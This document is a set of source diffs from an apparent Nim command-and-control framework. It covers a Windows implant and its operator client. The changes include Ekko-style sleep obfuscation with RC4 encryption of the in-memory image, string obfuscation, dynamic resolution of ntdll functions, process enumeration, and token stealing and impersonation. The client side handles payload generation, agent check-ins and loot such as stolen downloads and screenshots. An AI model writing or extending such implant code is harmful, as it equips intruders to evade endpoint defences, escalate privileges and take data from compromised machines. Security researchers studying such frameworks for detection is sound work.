# Retrieve returnLength and allocate sufficient memory
discard pNtQuerySystemInformation(systemProcessInformation, NULL, 0, addr returnLength)
pSystemProcInfo = cast[PSYSTEM_PROCESS_INFORMATION](LocalAlloc(LMEM_FIXED, returnLength))
if pSystemProcInfo == NULL:
raise newException(CatchableError, "1.2" & GetLastError().getError())
# Retrieve system process information
status = pNtQuerySystemInformation(systemProcessInformation, cast[PVOID](pSystemProcInfo), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "b" & status.getNtError())
return pSystemProcInfo
#[
Retrieve information about running processes
]#
proc processList*(): Table[DWORD, ProcessInfo] =
result = initTable[DWORD, ProcessInfo]()
# Take a snapshot of running processes
var sysProcessInfo = processSnapshot()
defer: LocalFree(cast[HLOCAL](sysProcessInfo))
let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
let pNtClose = cast[NtClose](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtClose")))
while true:
var
status: NTSTATUS
hToken: HANDLE = 0
hProcess: HANDLE = 0
oa: OBJECT_ATTRIBUTES
clientId: CLIENT_ID
var
pid = cast[DWORD](sysProcessInfo.UniqueProcessId)
ppid = cast[DWORD](sysProcessInfo.InheritedFromUniqueProcessId)
# Retrieve process information
result[pid] = ProcessInfo(
pid: pid,
ppid: ppid,
name: $sysProcessInfo.ImageName.Buffer,
session: sysProcessInfo.SessionId,
children: @[]
)
# Retrieve user context
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
clientId.UniqueProcess = cast[HANDLE](pid)
clientId.UniqueThread = 0
status = pNtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
if status == STATUS_SUCCESS and hProcess != 0:
status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
if status == STATUS_SUCCESS and hToken != 0:
result[pid].user = hToken.getTokenUser().username
discard pNtClose(hToken)
else:
result[pid].user = ""
discard pNtClose(hProcess)
# Move to next process
if sysProcessInfo.NextEntryOffset == 0:
break
sysProcessInfo = cast[PSYSTEM_PROCESS_INFORMATION](cast[ULONG_PTR](sysProcessInfo) + sysProcessInfo.NextEntryOffset)

View File

@@ -37,7 +37,7 @@ type
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PVOID, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
@@ -168,13 +168,13 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
# Retrieve the initial thread context
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](RtlCaptureContext), addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](SetEvent), cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
@@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
img.Length = imageSize
# Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4))
key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len())

View File

@@ -1,7 +1,7 @@
import winim/lean
import strformat
import ../utils/io
import ../../common/[types, utils]
import ../../common/utils
#[
Token impersonation & manipulation
@@ -61,7 +61,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
status: NTSTATUS = 0
hToken: HANDLE
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to FALSE
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
if status != STATUS_SUCCESS:
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
@@ -70,12 +70,12 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
return hToken
proc sidToString(apis: Apis, sid: PSID): string =
proc sidToString(sid: PSID, apis: Apis = initApis()): string =
var stringSid: LPSTR
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
return $stringSid
proc sidToName(apis: Apis, sid: PSID): string =
proc sidToName(sid: PSID): string =
var
usernameSize: DWORD = 0
domainSize: DWORD = 0
@@ -90,7 +90,7 @@ proc sidToName(apis: Apis, sid: PSID): string =
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
return ""
proc privilegeToString(apis: Apis, luid: PLUID): string =
proc privilegeToString(luid: PLUID): string =
var privSize: DWORD = 0
# Retrieve required size
@@ -104,7 +104,7 @@ proc privilegeToString(apis: Apis, luid: PLUID): string =
#[
Retrieve and return information about an access token
]#
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId, tokenType: string] =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
@@ -120,7 +120,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
return (tokenId, tokenType)
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid: string] =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
@@ -139,9 +139,9 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid, apis))
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
@@ -153,7 +153,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
return cast[bool](pElevation.TokenIsElevated)
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
@@ -176,11 +176,11 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
groupCount = pGroups.GroupCount
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
result &= fmt"Group memberships ({groupCount})" & "\n"
result &= protect("Group memberships (") & $groupCount & protect(")\n")
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
result &= fmt" - {sidToString(group.Sid, apis):<50} {sidToName(group.Sid)}" & "\n"
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
@@ -203,34 +203,34 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
privCount = pPrivileges.PrivilegeCount
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
result &= fmt"Privileges ({privCount})" & "\n"
result &= protect("Privileges (") & $privCount & protect(")\n")
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: protect("Enabled") else: protect("Disabled")
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
proc getTokenInfo*(hToken: HANDLE): string =
let apis = initApis()
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n"
let (tokenId, tokenType) = getTokenStatistics(hToken, apis)
result &= protect("TokenID: 0x") & tokenId & "\n"
result &= protect("Type: ") & tokenType & "\n"
let (username, sid) = apis.getTokenUser(hToken)
result &= fmt"User: {username}" & "\n"
result &= fmt"SID: {sid}" & "\n"
let (username, sid) = getTokenUser(hToken, apis)
result &= protect("User: ") & username & "\n"
result &= protect("SID: ") & sid & "\n"
let isElevated = apis.getTokenElevation(hToken)
result &= fmt"Elevated: {$isElevated}" & "\n"
let isElevated = getTokenElevation(hToken, apis)
result &= protect("Elevated: ") & $isElevated & "\n"
result &= apis.getTokenGroups(hToken )
result &= apis.getTokenPrivileges(hToken)
result &= getTokenGroups(hToken, apis)
result &= getTokenPrivileges(hToken, apis)
#[
Impersonate token
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
]#
proc impersonate*(apis: Apis, hToken: HANDLE) =
proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) =
var
status: NTSTATUS
qos: SECURITY_QUALITY_OF_SERVICE
@@ -239,7 +239,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
returnLength: ULONG = 0
duplicated: bool = false
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
if getTokenStatistics(hToken, apis).tokenType == protect("Primary"):
# Create a duplicate impersonation token
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
qos.ImpersonationLevel = securityImpersonation
@@ -308,9 +308,9 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
raise newException(CatchableError, GetLastError().getError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
impersonate(hToken, apis)
return apis.getTokenUser(hToken).username
return getTokenUser(hToken, apis).username
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
let apis = initApis()
@@ -338,7 +338,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
raise newException(CatchableError, status.getNtError())
let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {apis.privilegeToString(addr luid)}."
return fmt"{action} {privilegeToString(addr luid)}."
#[
Steal the access token of a remote process and impersonate it
@@ -375,6 +375,6 @@ proc stealToken*(pid: int): string =
raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hToken)
apis.impersonate(hToken)
impersonate(hToken, apis)
return apis.getTokenUser(hToken).username
return getTokenUser(hToken, apis).username

View File

@@ -19,7 +19,7 @@ proc main() =
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
6. If additional tasks have been fetched, go to 3.
6. If additional tasks have been fetched, go to 6.
7. If no more tasks need to be executed, go to 1.
]#
while true:

File diff suppressed because one or more lines are too long

View File

@@ -1,4 +1,4 @@
import winim, os, net, strutils, registry, zippy
import winim, os, net, strutils, registry, zippy, strformat
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
@@ -69,90 +69,94 @@ proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version fingerprinting
type
ProductType = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
type
OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
# Windows Version fingerprinting
ProductType {.size: sizeof(uint8).} = enum
UNKNOWN = "Unknown"
WORKSTATION = "Workstation"
DC = "Domain Controller"
SERVER = "Server"
WindowsVersion = object
major: DWORD
minor: DWORD
buildMin: DWORD # Minimum build number (0 = any)
buildMax: DWORD # Maximum build number (0 = any)
productType: ProductType
name: string
let versions = [
# Windows 11 / Server 2022+
# WindowsVersion(major: 10, minor: 0, buildMin: 22631, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11 23H2")),
# WindowsVersion(major: 10, minor: 0, buildMin: 22621, buildMax: 22630, productType: WORKSTATION, name: protect("Windows 11 22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 22000, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11")),
WindowsVersion(major: 10, minor: 0, buildMin: 26100, buildMax: 0, productType: SERVER, name: protect("Windows Server 2025")),
WindowsVersion(major: 10, minor: 0, buildMin: 20348, buildMax: 26099, productType: SERVER, name: protect("Windows Server 2022")),
# Windows 10 / Server 2016-2019
WindowsVersion(major: 10, minor: 0, buildMin: 19041, buildMax: 19045, productType: WORKSTATION, name: protect("Windows 10 2004/20H2/21H1/21H2/22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 19040, productType: WORKSTATION, name: protect("Windows 10 1809+")),
WindowsVersion(major: 10, minor: 0, buildMin: 10240, buildMax: 17762, productType: WORKSTATION, name: protect("Windows 10")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 17763, productType: SERVER, name: protect("Windows Server 2019")),
WindowsVersion(major: 10, minor: 0, buildMin: 14393, buildMax: 14393, productType: SERVER, name: protect("Windows Server 2016")),
WindowsVersion(major: 10, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server (Unknown Build)")),
# Windows 8.x / Server 2012
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8.1")),
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012 R2")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012")),
# Windows 7 / Server 2008 R2
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 7")),
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008 R2")),
# Windows Vista / Server 2008
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows Vista")),
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008")),
# Windows XP / Server 2003
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP x64 Edition")),
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2003")),
WindowsVersion(major: 5, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP")),
]
proc matchVersion(version: WindowsVersion, info: OSVersionInfoExW, productType: ProductType): bool =
if info.dwMajorVersion != version.major or info.dwMinorVersion != version.minor:
return false
if productType != version.productType:
return false
if version.buildMin > 0 and info.dwBuildNumber < version.buildMin:
return false
if version.buildMax > 0 and info.dwBuildNumber > version.buildMax:
return false
return true
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
for version in versions:
if version.matchVersion(info, if productType == DC: SERVER else: productType): # Process domain controllers as servers, otherwise they show up as unknown
if productType == DC:
return version.name & protect(" (Domain Controller)")
else:
return version.name
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return protect("Windows 11")
else:
return protect("Windows 10")
# Unknown windows version, return as much information as possible
return fmt"Windows {$int(info.dwMajorVersion)}.{$int(info.dwMinorVersion)} {$productType} (Build: {$int(info.dwBuildNumber)})"
else:
case build:
of 20348:
return protect("Windows Server 2022")
of 17763:
return protect("Windows Server 2019")
of 14393:
return protect("Windows Server 2016")
else:
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return protect("Windows 8.1")
else:
return protect("Windows Server 2012 R2")
of 2:
if productType == WORKSTATION:
return protect("Windows 8")
else:
return protect("Windows Server 2012")
of 1:
if productType == WORKSTATION:
return protect("Windows 7")
else:
return protect("Windows Server 2008 R2")
of 0:
if productType == WORKSTATION:
return protect("Windows Vista")
else:
return protect("Windows Server 2008")
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return protect("Windows XP x64 Edition")
else:
return protect("Windows Server 2003")
elif minor == 1:
return protect("Windows XP")
else:
discard
return protect("Unknown Windows Version")
proc getProductType(): ProductType =
# The product key is retrieved from the registry

View File

@@ -256,9 +256,37 @@ proc BeaconRevertToken(): void {.stdcall.} =
RevertToSelf()
# BOOL BeaconIsAdmin();
type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
proc BeaconIsAdmin(): BOOL {.stdcall.}=
# Not implemented
return FALSE
let
hNtdll = GetModuleHandleA(protect("ntdll"))
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
var
status: NTSTATUS = 0
hToken: HANDLE
returnLength: ULONG = 0
pElevation: TOKEN_ELEVATION
# https://ntdoc.m417z.com/ntopenthreadtoken
status = pNtOpenThreadToken(cast[HANDLE](-2), TOKEN_QUERY, TRUE, addr hToken)
if status != STATUS_SUCCESS:
status = pNtOpenProcessToken(cast[HANDLE](-1), TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
return FALSE
# Get elevation
status = pNtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
if status != STATUS_SUCCESS:
return FALSE
return cast[bool](pElevation.TokenIsElevated)
#[
Spawn+Inject Functions

View File

@@ -1,10 +1,10 @@
import whisky
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
import tables, times, strutils, strformat, json, base64, native_dialogs
import ./utils/[appImGui, globals]
import ./views/[dockspace, sessions, listeners, eventlog, console]
import ./views/loot/[screenshots, downloads]
import ./views/modals/generatePayload
import ../common/[types, utils, crypto]
import ../common/[types, utils, profile, crypto]
import ./core/websocket
proc main(ip: string = "localhost", port: int = 37573) =
@@ -73,119 +73,118 @@ proc main(ip: string = "localhost", port: int = 37573) =
#[
WebSocket communication with the team server
]#
# Continuously send heartbeat messages
connection.ws.sendHeartbeat()
# Receive and parse websocket response message
try:
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
case event.eventType:
of CLIENT_KEY_EXCHANGE:
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
connection.sendPublicKey(clientKeyPair.publicKey)
wipeKey(clientKeyPair.privateKey)
# Receive and parse websocket response message
let message = connection.ws.receiveMessage(timeout = 16) # Use a 16ms timeout to reduce CPU load = ~60FPS
if message.isSome():
let event = recvEvent(message.get(), connection.sessionKey)
case event.eventType:
of CLIENT_KEY_EXCHANGE:
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
connection.sendPublicKey(clientKeyPair.publicKey)
wipeKey(clientKeyPair.privateKey)
of CLIENT_PROFILE:
profile = parsetoml.parseString(event.data["profile"].getStr())
of CLIENT_LISTENER_ADD:
let listener = event.data.to(UIListener)
listenersTable.listeners.add(listener)
of CLIENT_AGENT_ADD:
let agent = event.data.to(UIAgent)
# The ImGui Multi Select only works well with seq's, so we maintain a
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
sessionsTable.agents.add(agent)
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
if not agent.impersonationToken.isEmptyOrWhitespace():
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
# Initialize position of console windows to bottom by drawing them once when they are added
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
# so if you place your listeners somewhere else, the console windows show up somewhere else too
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
var agentConsole = Console(agent)
consoles[agent.agentId] = agentConsole
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
if listenersWindow != nil and listenersWindow.DockNode != nil:
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
else:
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
consoles[agent.agentId].draw(connection)
consoles[agent.agentId].showConsole = false
of CLIENT_AGENT_CHECKIN:
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
of CLIENT_AGENT_PAYLOAD:
let payload = decode(event.data["payload"].getStr())
try:
let path = callDialogFileSave("Save Payload")
writeFile(path, payload)
except IOError:
discard
# Close and reset the payload generation modal window when the payload was received
listenersTable.generatePayloadModal.resetModalValues()
igClosePopupToLevel(0, false)
of CLIENT_CONSOLE_ITEM:
let agentId = event.data["agentId"].getStr()
consoles[agentId].console.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_EVENTLOG_ITEM:
eventlog.textarea.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_BUILDLOG_ITEM:
listenersTable.generatePayloadModal.buildLog.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_LOOT_ADD:
let lootItem = event.data.to(LootItem)
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.items.add(lootItem)
of SCREENSHOT:
lootScreenshots.items.add(lootItem)
else: discard
of CLIENT_LOOT_DATA:
let
lootItem = event.data["loot"].to(LootItem)
data = decode(event.data["data"].getStr())
of CLIENT_PROFILE:
profile = parseString(event.data["profile"].getStr())
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.contents[lootItem.lootId] = data
of SCREENSHOT:
lootScreenshots.addTexture(lootItem.lootId, data)
of CLIENT_LISTENER_ADD:
let listener = event.data.to(UIListener)
listenersTable.listeners.add(listener)
of CLIENT_AGENT_ADD:
let agent = event.data.to(UIAgent)
# The ImGui Multi Select only works well with seq's, so we maintain a
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
sessionsTable.agents.add(agent)
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
if not agent.impersonationToken.isEmptyOrWhitespace():
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
# Initialize position of console windows to bottom by drawing them once when they are added
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
# so if you place your listeners somewhere else, the console windows show up somewhere else too
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
var agentConsole = Console(agent)
consoles[agent.agentId] = agentConsole
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
if listenersWindow != nil and listenersWindow.DockNode != nil:
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
else:
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
consoles[agent.agentId].draw(connection)
consoles[agent.agentId].showConsole = false
of CLIENT_AGENT_CHECKIN:
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
of CLIENT_AGENT_PAYLOAD:
let payload = decode(event.data["payload"].getStr())
try:
let path = callDialogFileSave("Save Payload")
writeFile(path, payload)
except IOError:
discard
# Close and reset the payload generation modal window when the payload was received
listenersTable.generatePayloadModal.resetModalValues()
listenersTable.generatePayloadModal.show = false
of CLIENT_CONSOLE_ITEM:
let agentId = event.data["agentId"].getStr()
consoles[agentId].console.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_EVENTLOG_ITEM:
eventlog.textarea.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_BUILDLOG_ITEM:
listenersTable.generatePayloadModal.buildLog.addItem(
cast[LogType](event.data["logType"].getInt()),
event.data["message"].getStr(),
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
)
of CLIENT_LOOT_ADD:
let lootItem = event.data.to(LootItem)
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.items.add(lootItem)
of SCREENSHOT:
lootScreenshots.items.add(lootItem)
else: discard
of CLIENT_LOOT_DATA:
let
lootItem = event.data["loot"].to(LootItem)
data = decode(event.data["data"].getStr())
case lootItem.itemType:
of DOWNLOAD:
lootDownloads.contents[lootItem.lootId] = data
of SCREENSHOT:
lootScreenshots.addTexture(lootItem.lootId, data)
else: discard
of CLIENT_IMPERSONATE_TOKEN:
let
agentId = event.data["agentId"].getStr()
impersonationToken = event.data["username"].getStr()
sessionsTable.agentImpersonation[agentId] = impersonationToken
of CLIENT_REVERT_TOKEN:
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
else: discard
of CLIENT_IMPERSONATE_TOKEN:
let
agentId = event.data["agentId"].getStr()
impersonationToken = event.data["username"].getStr()
sessionsTable.agentImpersonation[agentId] = impersonationToken
of CLIENT_REVERT_TOKEN:
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
else: discard
# Draw/update UI components/views
if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
if showListeners: listenersTable.draw(addr showListeners, connection)
@@ -202,12 +201,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
console.draw(connection)
newConsoleTable[agentId] = console
if sessionsTable.focusedConsole.len() > 0:
igSetWindowFocus_Str(sessionsTable.focusedConsole.cstring)
sessionsTable.focusedConsole = ""
# Update the consoles table with only those sessions that have not been closed yet
# This is done to ensure that closed console windows can be opened again
consoles = newConsoleTable
except CatchableError as err:
echo "[-] ", err.msg
# echo "[-] ", err.msg
discard
# render

View File

@@ -34,7 +34,8 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
# Payload generation modal (only enabled when at least one listener is active)
igBeginDisabled(component.listeners.len() <= 0)
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
if igButton("Generate Payload", vec2(0.0f, 0.0f)):
component.generatePayloadModal.show = true
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
igEndDisabled()

View File

@@ -9,6 +9,7 @@ export addItem
type
AgentModalComponent* = ref object of RootObj
show*: bool
listener: int32
sleepDelay: uint32
jitter: int32
@@ -28,6 +29,7 @@ type
